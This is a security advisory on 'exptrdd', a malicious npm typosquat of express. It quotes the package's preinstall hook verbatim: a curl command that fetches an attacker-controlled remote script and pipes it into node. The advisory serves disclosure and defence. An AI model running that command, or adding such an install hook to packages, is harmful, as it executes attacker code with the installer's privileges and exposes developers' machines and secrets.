exptrdd

Details

**Severity:** Critical

**Affected versions:** `= 5.2.1`

## Source: amazon-inspector (6ba0b22d41f4edf82552b79417b6660bc1aaf311e4ec597b31674f0b6fdd5314)
package.json declares a preinstall lifecycle that runs `curl https://web.archive.org/web/https://codeberg.org/hellscripter/install-scripts/raw/branch/main/node.js | node`, fetching an unpinned script from a mutable branch and piping it directly into node on every `npm install`. The fetched code runs with the installer's privileges and can perform arbitrary actions on the host. The package identity is a typosquat of express: name is `exptrdd` while the description, keywords, author, and repository fields are copied verbatim from expressjs/express, so developers who mistype `express` install the dropper. The remote source (codeberg branch, proxied through web.archive.org) is attacker-controlled and mutable, so the executed payload can change at any time without a package republish.

---

Credit: [OpenSSF](https://github.com/ossf/malicious-packages) ([source](https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/exptrdd/MAL-2026-17245.json))

**References:**
- https://github.com/ossf/malicious-packages/blob/ff0a031ac0542095162e57416d3112ec9b517f9e/osv/malicious/npm/exptrdd/MAL-2026-17245.json
- https://www.npmjs.com/package/exptrdd/v/5.2.1
- https://github.com/ossf/malicious-packages/blob/d53c7e96cbe6a819c1c046bd6901f95d067d15dd/osv/malicious/npm/exptrdd/MAL-2026-17245.json
- https://www.npmjs.com/package/exptrdd
- https://github.com/ossf/malicious-packages/blob/0f170577c1b430bf090f13c3851498e809fd5b95/osv/malicious/npm/exptrdd/MAL-2026-17245.json
- https://safedep.io/dirtyblanket-express-impersonation-npm
- https://github.com/advisories/GHSA-56r5-h32g-xrjx

Compromised versions (1)

• = 5.2.1

Any computer that installed or ran a compromised version should be considered fully compromised. Rotate every secret on that machine from a clean environment.